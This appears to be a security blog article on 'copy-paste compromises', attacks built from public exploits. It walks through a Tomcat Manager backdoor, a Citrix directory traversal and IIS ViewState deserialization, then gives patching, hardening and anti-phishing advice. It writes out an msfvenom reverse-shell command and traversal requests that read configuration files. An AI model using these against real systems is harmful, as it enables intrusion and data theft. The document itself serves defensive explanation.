Copy-paste compromises: Introduction and overview
Although the concept of copy-paste compromises is not exactly new, there are now several different forms of the attack. In the version of copy-paste compromise that we’ll discuss today, malicious actors use open-source or publicly available exploit code, web shells and other tools to gain information.
Recently, Australia has revealed a wide-scale attack across all levels of government, essential service providers, and private businesses across the country. Australia labeled the attacks as “copy-paste compromises,” alluding to the observation that the attacks made use of the public domain of exploits. Based on what was disclosed, the attacks primarily exploited vulnerabilities in Microsoft Internet Information Services (IIS), a 2019 SharePoint vulnerability and the 2019 Citrix vulnerability. These exploited vulnerabilities have patches available, which means the attack did not require significant effort or zero-day exploits.
During the investigation, they found that most organizations that are susceptible to phishing attacks struggle to keep up with critical security patches, unnecessary exposure of internal services and often leave default credentials on sensitive systems.
As for phishing, malicious actors have used various kind of techniques:
- Links to credential harvesting websites
- Emails with links to malicious files or with malicious file directly attached
- Links prompting users to grant Office 365 OAuth tokens to the actor
- Use of email-tracking services to identify the email opening and lure click-through events
Once initial access is achieved, the malicious actor has utilized a mixture of open-source and custom tools to persist on and interact with the victim network. Although tools are placed on the network, the actor migrates to legitimate remote accesses using stolen credentials.
Copy-paste compromises accomplished
Now we’ll show some examples of the ways in which attackers have used publicly-available exploits and carry out copy-paste compromises.
Example 1: Exploit Tomcat Manager
In this example, the remote attacker tried to find out whether Apache Tomcat is running on the target machine and was configured with the default login. They then tried to use various default credentials (tomcat: tomcat, tomcat: S3cr3t, manager: manager) to access. If default credentials are working fine, then this can help the attacker to get a remote machine shell.
There are many possible ways to exploit the Tomcat Manager application:
- Tomcat Manager authenticated upload code execution
- Generate .war format backdoor
- Tomcat war deployer script
- Generate a JSP webshell
Now take one example:
Generate .war format backdoor
The first attacker finds out on which target Apache Tomcat is running, then tries to log in with the default credentials (tomcat: tomcat, tomcat: S3cr3t, manager: manager).
Figure 1: Logging into the application with default credentials.
Then the attacker uses MSFvenom for generating a .war format backdoor for a Java/JSP payload:
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.111.128.64 LPORT=1234 -f war > shell.war
Figure 2: Create a shell file shell.war file
After creating a shell.war file, the attacker successfully uploads that file into the Apache Tomcat application.
Figure 3: Successfully upload the shell.war file in application
As soon as the attacker uploads the file, the attacker will see the /path entry for the malicious file in the table of Applications. To execute the .war file, the attacker must click on the /.war file path mentioned in the Application table. Or they can directly explore http://target_IP:port/file_name.
When an attacker has executed the file, he will get the reverse TCP connection through Netcat.
Figure 4: Successfully got a remote session!
Example 2: Citrix ADC and Citrix Gateway directory traversal vulnerability
The Citrix Application Delivery Controller (ADC) and Citrix Gateway allowed an attacker to send out the directory traversal requests and successfully read sensitive data from system configuration files by bypassing authentication and executing remotely arbitrary code.
This vulnerability can be exploited if improper handling of the pathname has been configured. Let’s suppose that the system doesn’t have a data sanitization check and uses the path in incoming requests without any filter. When the unsecured system receives a request, including a path such as /vpn/../vpns/services.html, then the server running on the Citrix service converts the path from /vpn/../vpns/ into the /VPNs/. This issue in the server system could allow a remote attacker to exploit directory traversal and have access on the sensitive files without authentication.
In another case, it could be even more dangerous. The same issue can be replicated via user input without any authentication and/or sanitization. Here, an attacker with the crafted XML file sends it to the vulnerable server using a POST request. After the attacker makes another HTTP request and visits the rendered file, the malicious payload inside the XML file will execute and perform the desired task.
Below, a quick POC will show you how requests with directory traversal were successfully handled by unsecure systems. Sometimes the requests may get you the access to sensitive files or even leaks of sensitive information, and at worst, remote code execution.
GET /vpn/../vpns/services.html HTTP/1.1
Figure 5: Successful response with the request
GET /vpn/../vpns/cfg/smb.conf HTTP/1.1
Figure 6: Successfully accessed smb.conf file with PoC request
Example 3: Exploitation of ViewState handling in Microsoft IIS servers
Attackers actively exploit a deserialization vulnerability existing in all versions of Microsoft’s Internet Information Services (IIS) using the .NET framework (.NET). The vulnerability exploits the service’s ViewState parameter to allow for remote code execution by unauthorized users.
For a malicious user to successfully exploit this vulnerability, they need to craft a ViewState parameter with a malicious payload in it. Currently, the latest installations of .NET on IIS and the parameter are protected by the Message Authentication Code (MAC) validation. An attacker has to get the IIS server machine key in order to exploit this issue.
How can we reduce risk and improve security against copy-paste compromises?
Multiple controls and best practices certainly reduce the risk against Copy-Paste compromises:
Penetration tests focus on preventing your business from both external as well as internal attackers. A majority of exploits do not aim to get the financial details, such as credit or debit card numbers. A penetration test can be considered like a cybersecurity drill aimed at helping you to improve processes and reduce maximum risk from hackers and insider attackers.
Running schedule vulnerability scanning helps keep patching and an eye on new and existing vulnerabilities. You need to keep in mind that not all patch management programs are effective and cannot detect any third-party software packages like Java, PDF readers and thousands of others. Insecure configurations and default credentials make hacker’s lives easier; it’s an open invitation to them to gain unauthorized access.
Multiple issues can be patched and minimize risk by just implanting the security patches on time and without giving multiple internal risk acceptance or exceptional approval due to dependency on the legacy system. Orgs should always calculate the risk of assets before giving exceptional dependency approval.
Our applications and operating systems are often insecure by using default settings in order to avoid hiring any experts for them. However, this can sometimes cost an organization. Using hardening best practices can help to reduce the running of unnecessary services and also reduce the attack surface overall.
Passwords are traditionally considered the weakest point to exploit. Users/employees are really terrible when it comes to setting up secure passwords. Many use the same passwords on multiple portals. And keeping passwords written on a piece of paper, or even in a password diary, can be a disaster.
This risk can be reduced by implementing a two-factor authentication process while also using RSA hard/soft token, SMS OTP, certificates, biometrics and so on. (Mandatory password management systems that auto-generate complex passwords aren’t a bad idea, either!)
Precaution against phishing
Protecting from phishing attempts is a tricky proposition nowadays. An employee may think they are smart enough to understand and differentiate legitimate from malicious URLs, but that is an inadequate plan to reduce risk. Taking steps like blocking malicious or unwanted messages by running proxy software, running phishing campaigns, occasional security awareness training and making sure new hires are aware of these concerns can go a long way to reduce the risk. For example:
- Don’t click on links or open emails, messages or attachments you were not expecting or from people or organizations you don’t know
- Be extra careful if the messages appear very appealing or are offering you something.
- Before you click a link, you should hover over it to see the actual web address it will take you to. If you do not recognize or trust the address at all or even have some doubts, don’t click it! It’s always good to search for relevant keywords over search engines to see what comes up.
- If you’re unsure about anything, it’s better to check with the person, team, friend or family member to confirm its legitimacy, and not through the message itself, but by independent methods (phone call, speaking in person and so on)
- Always turn on the spam filter to block unwanted promotional messages
- Keep in mind that your financial institution, organizations and social media would never ask you for CVV, OTP, passwords, or even send you a link to enter your personal or financial details, even through HTTPS
- Always report such email to the cert, admin, HR or any other concerned department in order to take action
- Instead of copy-pasting links, it’s better to type them into the browser